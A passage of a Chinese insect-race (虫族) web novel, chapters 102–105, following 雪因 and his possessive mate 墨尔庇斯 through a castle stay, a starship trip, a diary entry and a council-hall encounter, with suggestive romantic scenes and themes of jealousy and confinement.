但他很快也不再能找回理智。对方尾钩比以往任何时刻都要强势、蠢蠢欲动企图彰显存在,自顾自做着些身为尾钩应有的自觉。 墨尔庇斯眼神开始不受控制地涣散,他甚至察觉不于盐屋到什么时候开始的,或许一开始,就没有对这只雄虫设防。 从始至终。 以至于他发现的时候,早已深陷其中,无法停止。 “是雪因。你是雪因。” 他的雄主。 独一无二的。 也是他唯一的虫崽。 所有渴望与混乱的根源。 第102章 我会一直,一直爱你。…… 主卧室位于古堡的最高塔楼,往下是连绵的欧式建筑屋顶在昏暗的天光下起伏延伸,直至隐没在幽黑之中。 雪因单手托腮,懒懒地倚在石质窗台边,垂眸俯瞰下方。 可惜这处实在太高,又没有门,不知道几天前墨尔庇斯是如何带他进来的。 现在想逃出去,要么会飞——当然,这个雪因确实会。可惜空中时不时闪过暴躁不已幽暗的空间缝隙,在有风的日子里好似总会翻卷起旋涡。也暗示着往下跳的话,即使会飞,也是死路一条。 但雪因又有一种直觉,就算跳下去或许也不会受伤,多半是坠入某道空间缝隙,然后被传送回这个好似永远无法真正离开的卧室。当然,那样总归会惊醒它们熟睡的主人。 空气中弥漫着浓稠到化不开的信息素气味,他自己的、墨尔庇斯的,深深交织在一起。不像他的王爵府有完善的净化系统,反而像是被刻意锁住、发酵,愈发显得私密馥郁,带着强烈宣示占有意味。 墨尔庇斯在宽大床榻上沉沉睡着。似乎第一次接受来自顶级雄虫纯净且大量的信息素冲击,即便是强大如他,也不由自主地陷入熟睡努力消化着。 于是雪因乘机推开了厚重的彩绘玻璃窗。风灌入,好歹带来一丝清新的空气,稍稍驱散了室内的甜腻。他半趴上窗台,任由风吹乱他未束的雪发,目光投向下方景色。 明明第一次来到墨尔庇斯的领星,却莫名感觉对这个地方再熟悉不过。好似许许多多逃亡的路线刻在了本能里。 比如远处连廊尽头、被茂密深色灌木半掩的地方,应该有一条不起眼的小径,能避开大部分空间缝隙。左边黑色尖顶的高塔,其下部的议会厅墙壁上方十米藏着一条暗道;旁边空中连廊向前不到五十米的位置,有一个凹陷的阴影,恰好能容纳一只雄虫带着一只虫崽躲藏。 虫崽… 雪因的眼神恍惚了一瞬。似乎看到走廊踉跄着跑来一只满身伤痕的虫崽,脸上脏兮兮的,捂着嘴极力克制着喘着气,似乎想对他喊什么。 雪因却抢在之前先开口,不自觉喃喃道:“躲起来。” “什么?” 身后传来沙哑的低沉询问。 雪因听到了。 雪因假装听不到。 回过神,窗外走廊的一切已然消失不见,想来又是墨尔庇斯为防止他逃跑设置的精神干扰。雪因几乎要冷笑出声,不想面对,于是自顾自继续欣赏风景。 身后的雌虫显然没有不打扰的自觉。滚烫的身躯贴了上来,宽大炽热的手掌覆上他小腹,轻而易举便将他从窗边捞回,按进怀抱中。 灼热的呼吸喷吐在他敏感的后颈,激起一阵细微战栗,惹得他缩了缩。 “继续。”墨尔庇斯毫不客气继续命令。做了就是做了,在他看来,没有什么只做了一次,便不算是过分这种借口,反正趁雄虫失忆已经做出这种事,便没有了回头路。 那么,他就要做实这个身份。 雪因身体一僵,本能想要挣脱,他和墨尔庇斯已经待在这三天,不能再继续下去,帝星还有诸多事务悬而未决,他必须回去。 干脆找个理由随便敷衍一下墨尔庇斯。 想着,压下挣扎的冲动,努力扯出一抹浅笑,缓缓回过头—— 黑发,黑眸。 瞬间像是触发底层逻辑一般,雪因眼眸中本略微僵硬的冷意迅速消融,转而无比自然柔软起来,身体忽的放松。 他不自觉痴痴看着墨尔庇斯,熟悉的悸动一波一波冲刷着理智。 墨尔庇斯胸膛上还残留着些许放纵后尾钩造成的红痕,眼眸带着几分慵懒颓靡,手指抚上雪因漂亮脸颊摩挲着。 “继续。”他再次命令道,语气却不由自主地放软了几分。雄虫的滋味蚀骨销魂,他确实有些沉迷,仅仅是看着对方,便再次感到身体泛起痒意,不由自主感到喉间干渴。 听到这句话,就算在药物的作用下,雪因还是瞬间皱眉,快速摇了摇头。 这家伙简直不要脸极了,毫不知餍足。按理说痛了就该松开、累了就该睡觉。可墨尔庇斯像变了只虫,越疼越兴奋。好几次雪因差点被他按倒吃上自助。 雪因自然是不愿的,他是雄虫诶,怎么可以被雌虫压着。 “我不是你最爱的虫吗?”墨尔庇斯对这个新身份倒是适应良好。欺瞒雄虫的错他认下,那么该享有的福利自然也要一同握在手里。 至于以后…总归他们会一直在一起。不过是提前索取一些罢了。 雪因一时语塞,有些迷茫地眨了眨眼,这话确实是‘爱虫’会说的歪理,但不是他该听的话! “我疼!”雪因理直气壮地示软,反正对方是自己相爱的虫,示软不丢虫,“我疼的啊!你不疼我会疼的啊!” 重要的事情得三次强调!就算对方再不是虫,也该听得懂虫话吧?! “哪里疼?我不是都给你治好了?”墨尔庇斯下意识看向雪因身后的尾钩,确实显得有些萎靡不振,上面还有他留下的几处咬痕。虽然后来小家伙也报复了回来… 墨尔庇斯眸色暗沉了几分。报复?还挺爽的。他对自己所有物一向理直气壮得很,毫不羞涩,至少每次都会循序本能索求。 要不,再惹惹这个有点炸毛的小家伙?让他更有…活力一些。 “啊~”雪因却仰起脸,吐出一点舌尖,粉嫩湿软的舌尖让墨尔庇斯呼吸瞬间重了些,却也看清了上边一点新鲜的淤痕。 蓝眸写满谴责,一眨不眨地望向他。 … 墨尔庇斯难得感到一丝尴尬,下意识想伸手,雪因迅速将舌尖藏了回去,生怕这个不要脸的虫再次故技重施。 “那让我抱抱你…你乖一些,我不会太粗暴的。” 这次雪因倒是没有拒绝,只是当墨尔庇斯抱着他,走向的方向明显是那张凌乱大床时,雪因毫不犹豫地低头,尖尖的标记齿带着些警告意味,咬在对方结实的胸肌上。 墨尔庇斯胸肌瞬间紧绷,雪因觉得他更兴奋了,抱着他手臂的力道骤然收紧,就要顺势将雪因压向床榻,雪因连忙抬起头,用前额狠狠撞上了他的下巴。 墨尔庇斯猝不及防,闷哼一声吃痛地松开了他。再次睁眼时眼底混沌的情欲总算退去几分,只是眼眸溢出些烦躁,带着不满开口,“我不是你的爱虫吗?” 他再次重申这个身份。 “你为什么觉得,你是我的爱虫,我就会什么都听你?”雪因也有些疑惑。趁机脱离墨尔庇斯的怀抱后,没有立刻逃开,可能因为不像逃跑,倒是没有触发墨尔庇斯的狩猎本能。 墨尔庇斯被问得一怔,眼底不悦更浓,但还是压着火气,重重坐回床边。“你以前不是这样的。” “我一直是这样的。”雪因斜斜瞥了他一眼,转身走向浴室,很快,拿着一条拧好的温热湿毛巾走出来,看也不看,随手就丢向墨尔庇斯。 墨尔庇斯下意识接住,柔软的湿毛巾还带着暖意。指尖摩挲着光滑的布料。 这小家伙气性挺大的,但还算乖巧,至少知道给他拿湿毛巾擦…… “愣着干嘛?过来服侍我。”雪因理直气壮开口。 墨尔庇斯“……” “嗯?”雪因看着他脸上精彩的神色,歪了歪脑袋,“我不是~你的爱虫吗?” 这句话总算是还了回去。 “我以前是这样的?”墨尔庇斯最终还是站起身,手里攥着毛巾,试探着开口。 “不是,你以前都是跪着的。”雪因理所当然地开口,“你怎么什么都不记得了?” “我需要记得什么?”墨尔庇斯的声音沉了下去,被屡次冒犯多少带着些不满。 “很多啊,” 雪因掰着手指,状似随意地数着,“首先,你至少该比我醒得早。” 他的目光意有所指地扫过墨尔庇斯身上那些痕迹,以及凌乱的床铺。 “我只是……没有适应!” 墨尔庇斯难得有些狼狈,恼羞成怒地反驳,“你以为你这个小崽子很强?嗯?你不过——” “闭嘴。” 雪因打断他,微微蹙眉,漂亮的脸蛋上露出明显的不悦,“雄虫说话的时候,哪有你说话的份?” “……” “你们平时…也这样?”墨尔庇斯微微咬牙,他这么乖的虫崽什么时候被教成这样了!虽然这模样也可爱得紧,但多了不免让虫有些… “我不开心的时候,就这样。” 假的,雪因很少不开心。至少之前雌虫从来不敢这么放肆,总会先一步讨好他。 “那你现在不开心吗?和我在一起,你不开心吗?”墨尔庇斯眼眸又沉了下去,像是酝酿风暴一般。 雪因才没有被他吓到,他和爱虫相处这么多年,什么阵仗没见过?看起来吓唬虫,其实根本舍不得动真格。就算真动手也无所谓,只要等级不超过双S级雪因自认为没什么危险。 “我只知道,你再拖下去,我的毛巾要凉了。” “……” “那又怎样?” “不怎样啊。”雪因挑眉,漂亮的小脸骄纵得厉害,说是狠话又像是撒娇,或是因为根本没有敌意,倒更像是在和亲近伴侣调情或闹小脾气,“试试?” 这下墨尔庇斯有些捉摸不透了,最终还是败下阵来。拿起微凉的毛巾,略微笨拙的给雄虫擦拭。但很快,他爱上了这项活动,闭着眼等待服侍的雪因眼眸轻闭,雪白的睫毛长而密,微微颤动着,脸颊细腻光洁,往下是水润鲜红的唇瓣,他太知道有多甜了。 “衣服。”雪因闭着眼,懒懒示意。 墨尔庇斯只拿了一套贴身的。他根本没打算放雪因离开。到手的猎物,哪有吐出去的道理?帝星如今没人能真正威胁他,就算虫皇亲自上门,这么多年过去,他现在处于鼎盛时期,和虫皇也绝不落下风。这也是为何皇位更迭后,虫皇并未动他,反而默许他保留原有权柄,强者之间的默契往往只需一个眼神。要是不想让帝星分崩离析,那就只能维持现状。 况且,他们共同的重心,都是雪因。就算把雪因囚禁于此,多生些虫崽那些虫也没话说。 他打定主意,反正不可能再让雪因出去。 绕到雪因背后,为他穿上柔软的内衬。雄虫的身形线条优美流畅,肌肤泛着细腻光泽,墨尔庇斯指尖流连,不由得有些心动,但又想起雪因刚才那些似是而非的话,终究还是按捺住了。反正他们有的是时间。 转到雪因身前,垂眸,专注地为他一粒粒系好襟前的扣子。雪因的清冽气息混合着情事后的暖甜,浓烈地包裹着他,他不由得松懈下来。 瞬间被抱住,温热的气息忽的溢满鼻尖,在墨尔庇斯愣神瞬间对方狡黠的脸越来越大,吻上他的嘴角。鼻尖相抵亲昵地蹭了蹭,蓝眸带着溺毙虫的爱意,声音甜软得像能一点点浸入他的身体,像是刚刚的争执不曾存在过一样。 墨尔庇斯怔怔地看着对面柔软的唇一张一合,吐出让他心颤不已的话。 “别生气啦~我们还有很长时间呢。”雪因伸手握住他,十指相扣。“我们会一直在一起,你别害怕。” “也别总说那些我不爱听的话。我会难过的。” “但是,不管怎样…” “我会一直,一直爱你。” 第103章 你才是我唯一的虫崽 墨尔庇斯直到踏上回往帝星的星舰,还有些恍惚。 难怪星网上都说,雄虫只会影响雌虫拔剑的速度,只要沾上雄虫,这辈子就完了,甜言蜜语,一戳即破的糖衣。 他才不会信。 下次一定,这次姑且就算了。 墨尔庇斯有些不悦地靠在驾驶舱主位上,指尖无意识地敲击着金属扶手,暗自反思着。 “墨尔庇斯!”身后传来雪因清脆雀跃的呼唤。 墨尔庇斯瞬间站起转过身,将带着一身诱人甜香扑过来雪因牢牢抱稳。雪因这次倒是心情好了些,毫不设防仰起头,露出脆弱的脖颈线条,任由对方埋首其间。 惹得墨尔庇斯尖利的獠牙隐隐发痒,只能忍耐着,改为用舌尖重重舔舐一下,留下湿热的印记,这才不舍地松开怀抱。迅速调整呼吸,恢复惯常沉稳冷峻的声线,一本正经地开口:“怎么了?” “我刚刚看到那边那个星云!是黑色的!” “宇宙中大部分可见星云,在特定波段和观测条件下,都是呈现为暗色或黑色。” “不一样!那是五彩斑斓的黑。” 墨尔庇斯不理解雄虫的兴奋,也不理解这种废话有什么说的意义,只想快点结束这个话题,尽快回到帝星。 他瞄了一眼星舰导航屏上的预计抵达时间,如果航程顺利,赶在帝星标准时晚上九点前抵达王爵府,说不定还能哄着雄虫再度过愉悦的一晚。 但是看到雪因眼眸亮晶晶的,心下不自觉柔软了几分。“嗯,喜欢的话,买下来送你。” 雪因眨眨眼,表情变得有些古怪:“本来就是我的啊。这个星系都在我名下,你打算怎么从我手里‘买’下来送给我?” 这就有点为难墨尔庇斯了。他一向不擅长揣摩雄虫这些弯弯绕绕的心思,但总归雄虫喜欢的都送上是没错的,“想要什么别的?” “……?” “这次我从…那边带了点东西回来,已经让人送到王爵府后的珍宝馆了。回去带你看看?” “不要。”雪因兴趣缺缺。 “SSS级的星兽晶核,见过吗?很漂亮,我在星渊内层杀——捡到的,命工匠在上面雕刻了些你喜欢的。” “我喜欢的?你怎么和他们说?”雪因这下有些好奇了,潜意识觉得,墨尔庇斯应该不会知道自己喜欢什么… 但话说回来,他似乎也没什么喜欢的东西,除了面前这个虫,对这世上许多事物都淡淡的。 不对,有的。 雪因眼睛倏地一亮,“你在上面刻了阿南克吗?我就知道,你心里也是爱他的!” 墨尔庇斯一时无言。 他当时只是吩咐‘刻些殿下喜欢的式样’,下面的人自然会按王爵的喜好准备,反正华丽漂亮的玩意终归会让雄虫满意。但具体刻什么… 他心虚地移开了视线零点一秒,随即又理直气壮起来——事后补刻一个就是了!现在最重要的是……“对,就在我们卧室里。我们早些回去,今夜等你沐浴后,我亲手为你系上。” “……” 雪因狐疑地盯着他,这只雌虫眼神明显不对,于是他追问道:“刻的真的是阿南克?是他多大的模样?小时候?现在?” “……” “他现在在哪上学?” “……” “好吧!”雪因看着对方明显飘忽的眼神,有些咬牙切齿的递上送分题,“阿南克眼睛是什么颜色?” “蓝色,和你一样漂亮。”这次墨尔庇斯回答得飞快,二选一的概率,总不会错得太离谱。至于阿南克具体长什么样……他看着就烦,根本没仔细留意过,回帝星后见面的次数一只手都数得过来,总归相貌上应该更像雄父多一些。 “……?” 看着雪因渐渐阴沉的脸色,墨尔庇斯暗道不好,看来猜错了。 “对了,你刚刚说那朵星云我看到了,确实很漂亮。”墨尔庇斯略微僵硬转移起话题。 雪因沉默一瞬,眼眸慢慢微眯起来,“你是不是在敷衍我,想着赶紧回去,骗我上/床?” “……”被直接戳穿心思,饶是墨尔庇斯也一时无言以对。 雪因冷哼一声,倒没继续纠缠这个令他火大的问题。 转身,拉着墨尔庇斯的手,小跑着来到观景窗前。手指向窗外浩瀚星海中一团与众不同的、仿佛能吸收周围光线的暗色星云。“你记得之前我们救了一颗星球吗?我库房收藏有一颗那边上供的宝石,据说万年难得一见的,也是这种看似沉黑,内里却蕴藏着无数极细微能量光谱的颜色。” 雪因回眸,目光落在墨尔庇斯深邃的眼眸上,伸手,指尖轻轻抚上对方的眼角。传来微凉的触感,和对方瞬间僵硬的身体。 “它的样子,让我想起你。” 雪因轻声说,指尖描摹着墨尔庇斯眼眶的轮廓,眼眸柔软了几分,“看起来……不那么起眼,好像很容易被忽视,被归入‘普通’甚至‘低等’的那一类。但我知道不是的。” “我想很适合你。我检查过,那块材料蕴含的能量非常特殊,稳定时内敛温和,但若被正确激发,其瞬间释放的强度,足以媲美一颗高活性SS级能量核心。更重要的是,它的能量波动极其隐蔽,几乎无法被常规手段探测。我打算将它一分为二,一半给你。” “我担心你在帝星吃亏,帝星从来不是表面看起来那么光鲜。规则复杂,等级森严,高等级雌虫之间的倾轧和算计无处不在。帝星的雌虫没一个好东西。你的等级……在帝星那种地方,很容易被轻视,被当成可以随意拿捏的对象。我总有顾及不到的时候。” “有这个东西保护你,如果…我是说如果,真有不开眼的虫想仗着等级或权势欺负你,它能帮你。至少能争取时间,撑到我找到你。” “我不会再让任何虫伤到你。既然你不愿意一直待在我的后院,那至少收下这些,让我安心。” 墨尔庇斯有些无措,抿了抿唇,对上因为刚刚他回答错问题,弄得小雄虫似乎心情更糟了些,说完一切后就转身不再看他,反而望向外边的黑云。 “噢。”他干巴巴地应了一声。 “那为什么不全给我?”问到后边墨尔庇斯又理直气壮起来,刚刚被雄虫关心弄得无措的情绪找到了倾泻点,熟练的转移成惯常的强势,“我不是你的伴侣吗?你就这样对你的雌君?” “……” 雪因转回头看他,简直快被气笑了,“另一半,给、我、们、蓝、眼、睛、的、阿、南、克。” …… 墨尔庇斯就知道,虫崽这种东西,除了占据雄虫大量时间精力,根本毫无用处,甚至还会挑拨他们的伴侣关系。想着,墨尔庇斯眸色又阴沉了几分,暗自思索着。 别的雌虫若是想成为雪因雌侍,自然得经过他的挑选,成为他的附庸,要乖顺、听话,绝不能对雄虫构成威胁,更不可能动摇他与雪因的关系。 但阿南克身为雌虫,又是他亲生的虫崽,自然是不同的。何况阿南克体内还融合了雪因一半的血肉与力量。阿南克一天天长大,而他终将老去。面对一个成长起来明显能威胁到他的雌虫,甚至…若是让他继续成长,等到成年,阿南克说不定就会以弑父作为庆典。 阿南克对他有杀意,那个虫崽也从不掩饰,一个既不忠诚又潜藏着反噬能力的子嗣,留着便是巨大的隐患。 而且雪因太在意他了。 而阿南克有能力回应雪因的在意。 这是墨尔庇斯决不能容忍的,他压下眼底翻涌的杀意,嘴角扯出一个略显僵硬的弧度,伸手一把将气得背过身去的雄虫捞回怀中抱住。“是我的错。等回帝星,我会……好好补偿他的。” 雪因像是真的生气了,就这么僵着身体任由他抱了足足半小时,久到墨尔庇斯越发烦躁,烦躁到名为理智的弦像是随时会崩断。想着不如干脆再次将雪因掳回自己的领星,彻底隔绝外界的时候。 雪因终于抬手,覆上墨尔庇斯环在他腰间的手臂。温暖从手臂传来,稍稍浇熄了他心头的躁动。 “墨尔庇斯,别对阿南克有敌意。”雪因开口,声音起初带着冷意,慢慢多了一丝恳求的意味:“他是我们的虫崽。我们一家虫在一起,像以前一样好不好?一起用早餐,一起出门,看太阳从海平面升起、落下…就这样在一起,不行吗?” 他转过头,蓝眸望向墨尔庇斯,有些难过。 墨尔庇斯嘴唇动了动,避开令人心软的眼神,“他…他又不是我们亲生虫崽。”他干脆否认阿南克的身份,一个不忠且怀有异心的子嗣,没有资格得到承认。 与雄虫截然相反的是,帝星顶级雌虫是完全不会操心子嗣的问题。对于底层雌虫来说一生能拥有的子嗣极少,自然对每一只虫崽都看重。而对他们而言,雄虫是早晚会拥有的,生育往往只是愉悦后的附属品,甚至累赘。只要想,就能诞下无数虫崽,这些虫崽能得雄主喜欢的,或许能多得些关注;不得雄主喜欢的,就扔给侍虫照料便是。许多雌虫崽从出生到成年,都难得见亲生雌父几面。雌虫之间,若无雄虫作为情感纽带,关系本就淡薄至极。 换一些听话的,不是更好? “他是我们养大的虫崽。”雪因坚持道。 “他不是。”墨尔庇斯回答得冷淡。是他们养大的,不是他。他唯一倾注心血、视为己出养大的虫崽,自始至终只会是雪因。他绝不会允许任何后来的虫崽,有丝毫机会可能动摇雪因在他心中独一无二的地位,乃至在现实中的地位。 这么一想,看着面前的小雄虫不由得泛起一些莫名的歉意。 这么在意阿南克,是不是因为潜意识里害怕这个‘弟弟’夺走本应完全属于他的关爱?所以才会急切地证明自己是个懂事的哥哥,以此来换取雌父的垂怜? 雪因根本不需要这样。 墨尔庇斯这么一想,对阿南克的憎恶不由得又多了几分。都是阿南克的错,害得他心爱的虫崽这么难过。果然,除了雪因,其他的虫崽都一无是处,只会带来麻烦。 雪因像是叹了口气,垂眸不再争辩,任由墨尔庇斯紧抱住他。 “别担心,” 墨尔庇斯将脸埋在他颈间,声音闷闷地传来,偏执的安抚着,“你才是我唯一的虫崽。” “阿南克他——” “不许再提阿南克。” 墨尔庇斯语气忽的提高,吓了雪因一跳,有些怔忡地抬眼望向他。 看到雄虫眼中清晰的惊意,墨尔庇斯意识到自己的失态。想到好不容易缓和的关系,终是抿了抿唇,将语气放淡,“我会安排好他的事。以后,不要在我面前提起他。”和任何雌虫。 他厌恶雪因口中出现一切雌虫的名字—— 作者有话说:墨:日常虚空索敌中。 第104章 替笔 推开厚重镶嵌着暗金色家族纹章的雕花木门,长窗透进彩色玻璃的微光,交织在精装古籍的高耸书架之间。空气中弥漫着上等木料混合的沉静气息。走到书桌前,拉开雕饰着繁复玫瑰与荆棘的高背椅。 椅垫微微下陷,他略一停顿,骨节分明的手指探向桌下暗格,指尖凝聚起精神力,空间泛起水波般的涟漪,被力场隔绝的小型次元空间缓缓显现、解除封锁。 一样东西从中滑落。 雪因抬手,稳稳接住。 放到桌面,是一本暗纹墨绿色的星兽腹皮鞣制而成日记本。 岁月似乎没有对它造成伤害,空间封锁住了它身上流逝的时间痕迹,上面的细微使用痕迹,凝固在雪因最后一次合上它时的模样。 雪因的指尖轻轻抚过封面,闭上眼,指尖传来细腻的皮革触感,和曾经日日夜夜莫名涌出的情绪反扑。无数的破碎的画面,看不清的细节,朦胧强势的人影晃动。争执、压抑、利刃,画面最后停在朦胧中的人影袖口藏着刀跌跌撞撞走去,拥抱,鲜血溅上他闭上的蓝眸。 雪因浓密雪白的睫毛剧烈颤抖了几下,缓缓睁开。 混乱的记忆早已分不清。现实幻境的画面纠缠不清,唯有眼前的,才是‘真实’。 取过一旁墨水瓶边的羽毛笔。笔尖轻轻探入浓黑的墨汁,黑色液体顺着羽毛中空的茎管缓缓爬升,浸透内芯。 无意识将日记本之前书写过的部分一页页翻过,盖住。右手执笔,在新的一页空白上,落笔: [我的雌君…这次回来之后,好似变了一个虫。 不再会对我温柔地笑,不再和我谈论所谓爱的含义,一遍遍说着情话,甚至不再会留意我领口的扣子是否系得端正。 只是不停地向我索取。 身体。温度。注视。乃至……我全部的反应。 他的眼睛变得很黑,很沉,像望不见底的深渊,吞噬所有光。说的话也变得……可怕。对阿南克充满杀意,变得偏执到让人窒息,充满掌控欲又无比强势。 我…… 我有点害怕了。 但我想,他应该比我更怕。 我不知道他在恐惧什么,我看不清,但我知道,他需要我。 我得救他。] 书房厚重的木门便传来推响。 雪因顺势将身体前倾,手臂自然舒展地覆在桌面,正好将摊开的日记本遮挡得严严实实。下一秒,熟悉气息便从背后不容抗拒地环了上来,带着薄茧的大手同时抚上他的脸颊,迫使他转过头。 黑眸对视上雪因,鼻尖相抵,灼热的呼吸瞬间交缠。墨尔庇斯眼眸翻涌着未餍足的渴望,毫不客气径直就要俯身吻下。 雪因微微仰头,躲了过去。 钳制着他下巴的力道立刻加重,指尖在他细腻的脸颊上留下清晰的红痕。惹得雪因蹙了蹙眉。 “还不行?” 墨尔庇斯声音平淡,但精神力场却开始变得躁动,“你已经一整个晚上没有给我亲了。” …… “一晚上?” 雪因被他这理直气壮的倒打一耙一时弄得无语。他努力了一晚上好不容易才让这不知疲倦的家伙餍足、弄晕过去。现在距离那场‘交流’结束,满打满算也不过两个星时。这不要脸的家伙的一清醒就立刻循着气息追踪过来。 他以前明明没有这么粘虫。现在好似将每一次,都当成最后一次对待,疯狂索求,不做到精疲力尽永远不会停下。他们明明还有很多时间。 雪因不太理解墨尔庇斯的不安,但试图安抚着:“我哪有……你睡着之后我才出来的。而且,”他顿了顿,补充道,“我出来前,明明亲过你的额头。” 墨尔庇斯动作微顿。他不知道昏迷之后的事,只是惊醒后,触碰不到身边温热,瞬间被恐慌攫获,下意识沿着雪因的方向快速寻了过来。 他身上只随意套了件睡袍,衣襟松散,露出线条悍利的胸膛。胸肌上还有雪因被逼急了时留下的几道咬痕。他刻意没有治愈,甚至用精神力烧出的暗火烙印在上,昭示着所有权与亲密。乍一看倒像是雪因粗暴地使用了他。 雪因试探着给他治疗,被拒绝了,墨尔庇斯警告雪因不许再悄悄动手,雪因对强势的伴侣无可奈何。只能私下吩咐侍从多准备补血益气的药剂,调整日常饮食。 墨尔庇斯没有再纠缠时间问题。再次凑近,不容分说地吻了上去。雪因没有拒绝,抬起手上墨尔庇斯肌肉紧绷的后颈,指尖没入微湿的黑发,仰头回应了这个吻。 墨尔庇斯的吻一向很凶,全凭本能和一股要将对方吞吃入腹的狠劲。雪因觉得他技术很差,偏偏又说不得。但只要好好安抚…舌尖轻触,唇瓣贴合,环在对方脖颈上的手臂微微用力,将他拉得更近。 尾钩被抓住,隐入黑暗。 墨尔庇斯一颤,喉咙里溢出闷哼。更用力地吻着雪因,仿佛要将对方的气息尽数掠夺,钳制却不由自主地松动了。 他的喘息变得越来越重,越来越急,瞳孔微微扩散,焦距开始失神。原本从背后半抱着雪因、显得游刃有余的姿态,渐渐变成了将大半重量倚靠在雪因脊背上,膝盖发着抖,握着雪因肩膀的手也泄了力道,转而紧紧揪住了雪因肩头的衣料,握着尾钩的手开始使不上劲。 “雪因……” 他唤道,声音依旧竭力维持着平日里那种冷淡的调子,尾音却不受控制地发颤。嘴角开始挂上混乱的痴痴的笑。“深一点…全、全都……” 雪因眨了眨眼,长长的睫毛扫过墨尔庇斯近在咫尺的皮肤。唔,这模样的墨尔庇斯倒是可以沟通了。 他喜欢这样。用尾钩信息素足够多,不会过度消耗他精力,还能让不安的伴侣满足。 “我一直在呢。” “嗯……鳞片,立、立起来了……” 墨尔庇斯断断续续地低语。 “我也爱你。”雪因吻了吻他汗湿的鬓角。 “哈啊…先、先别动…尾钩……” “是尾巴。”雪因胡说八道着。 “唔。是。好。” …… “你也爱我。”良久,雪因小声的凑在墨尔庇斯耳边说:“你爱死我了。” 他轻轻笑,眼睫弯弯。 将再次因极致餍足与信息素冲击而昏睡过去的伴侣,小心安置回宽敞的床榻,细致地掖好被角。 清洗了下黏糊糊的尾钩,转身离开卧室。沿着楼梯慢慢往上,推开了储藏室的大门。 混合着木料、时光沉淀的气息扑面而来。室内光线昏暗,只有高处狭小的彩窗透进几缕微光,照亮空气中缓慢舞动的微尘。 径直走向最里侧。陈列架上,整齐有序地陈列着各式各样的徽章,每一枚都代表着不同的功勋、职位或荣誉,价值不菲,意义非凡。 左上方还有一块徽章,上边本该镶满宝石的位置布满牙印。 雪因伸手,将它取了下来。 徽章入手,是预料之中的冰凉,坚硬的外缘带着未经打磨的细微棱角。他微微用力,将其握在掌心。坚硬的凸起陷入柔软的掌心肌肤,带来微钝的压迫感。片刻后,松开手,掌心果然留下了被徽章轮廓压出的淡淡红痕。 冰凉,坚硬,棱角分明,好似存在的意义就是将周围一切被刺伤一样。 雪因干脆双手捂住,凑到嘴边轻轻呵出一口带着体温的热气。松开,好不容易带上的体温很快随风逝去,再次变回冰冷。 雪因有些倔倔地凝视着它,转身,缓步走到窗前。 推开窗,阳光照入储藏室,让原本缓慢悬浮的微尘变得清晰可见,如同无数细碎的金色精灵,在光束中狂舞、闪耀。 他轻轻吐出一口气,端端正正地将徽章放在阳光照耀下的边柜上,温暖的温度像是一点点浸入冰凉的徽章内,雪因轻轻摸了摸被迫变得温暖的徽章,嘴角勾起。 —— 生活好似回到了熟悉的轨道,不同的是,雪因如今的身份,足以让他踏入虫族最高权力机构——奥尔姆斯议会的殿堂。他不再频繁前往克斯安蒂星,反而开始跟随着现任虫族太子、他的雄父洛伦兹,正式进入议会旁听学习。 自从洛伦兹晋位太子,议会长的权柄便一直虚悬,明眼虫都清楚这个位置,是为雪因预留的。而雪因在感情之外的事上向来敏锐。墨尔庇斯近乎窒息的粘人,竟阴差阳错地迫使雪因开始由衷‘喜欢’上了工作。 至少雄父是这样感叹的。没想到最后还得是‘爱情’治好了自家雄子的恋爱脑。 雪因当然听得出雄父在内涵些什么,但想想家里那位时刻需要安抚、几乎要将他时间占满的雌君…他不得不开始认同——或许适当的距离和独立空间,才能让过于紧绷的关系,获得喘息与稳定。 而墨尔庇斯面对自家雄虫以如此光明正大、无可指摘的理由逃离身侧去上班,满心阴郁几欲发作。但是众目睽睽、各方势力或明或暗的劝阻,他不由得冷笑。 这些虫之前巴不得将他和雪因牢牢绑在床/上,如今见雄虫开始显露事业心,又恨不得立刻将他们分开,生怕这位未来的议长阁下被私情过分影响。 唯一能稍加安抚他的,是雪因雷打不动的规矩——每日六点准时结束工作返家。至少,从晚餐到次日早餐的这段时间,雄虫仍是完全属于他的。而雪因也一直温温柔柔的,对他那些或明或暗的索求与试探照单全收,体贴备至,让憋着劲想找茬发作的墨尔庇斯,竟完全抓不到把柄。一时混乱中维持着平衡的日子,就这样持续着。 “雪因。” 雪因刚从奥尔姆斯议会出来,便听到身后传来一道熟悉的呼唤。他停下脚步,回过头。“奈孙先生?” “啊,对,是我。”奈孙笑了笑,他身上穿着一套宫廷制服,雪因粗粗一眼看去,像是日常侍奉起居的普通侍虫所穿。但… “奈孙你头发褪色了。”雪因记得,在奈孙的头发明明是黑色的。 奈孙尴尬地摸了摸鼻尖,解释道:“呃…我在那边看你的发色看久了,觉得像你这样的…雪白色特别好看,于是回来就染了。” 雪因没有问奈孙为什么出现在这,就像奈孙似乎也无意解释,只是自然地搭话。在不触及自身利益与安全的前提下,雄虫之间对彼此的尊重,都极少过问关于此类隐私的事,至少帝星的雄虫都是如此默契。 “还是别染了吧。”雪因开口。 奈孙:“……?” “像我雄父一样。”雪因眨了眨眼,一脸无辜“怪怪的。” “……”奈孙不由得感到一阵头疼。不得不说,有时候这虫崽敏感得可怕,有时候又迟钝得让虫头疼,他试探着开口:“你有没有想过…你祖父会是什么模样?” “我当然知道。” “啊?” “金发碧眼,和我雌父一样,” 雪因流畅地陈述,“居住在蒙特金德星系。在我出生后没几年,就年老去世了。” 他指的是雌父的雌父。 “……”奈孙闭眼,深呼吸一口,对上对方清澈的眼神,不得不把话挑得更明一些:“我是说…你的雄祖父。您雄父的雄父。您有没有想象过,他会是怎样的一只虫?或许…他也会特别想念您。” “这个我也知道。” “嗯?!” “我雄父说过,” 雪因微微歪头,回忆着,将洛伦兹的话语原封不动地复述出来,“他雄父是个‘纯粹的混蛋’,‘抛雌弃子毫无责任心’,‘遇到困难就抛弃一切再也不敢回来’。雄父让我不要提他。” 说完,他看向奈孙,眼神干净,“对了,奈孙先生,您到底想说什么?” “……” 半晌,奈孙扯出一个勉强的笑容,声音干涩:“…没什么了。天色不早,还是早些回去吧,免得让太子殿下…担心。” “噢。” 雪因点了点头,朝着奈孙露出一个符合贵族礼仪的微笑,微微颔首:“那么奈孙先生,再见。” 第105章 不是所有的虫,都容得…… 擦肩而过,雪因停下脚步,风拂过宽大垂顺的披风,墨绿纹紧束在袖口的飘带随风轻轻摆动,他开口叫住:“奈孙先生” 已经走出几步的奈孙闻声顿住,回过头来。 “之前……阿南克谢谢您的照顾。” 奈孙明显一怔,似乎没料到话题会转向这里,随即自然地笑了笑:“这是我应该做的。” 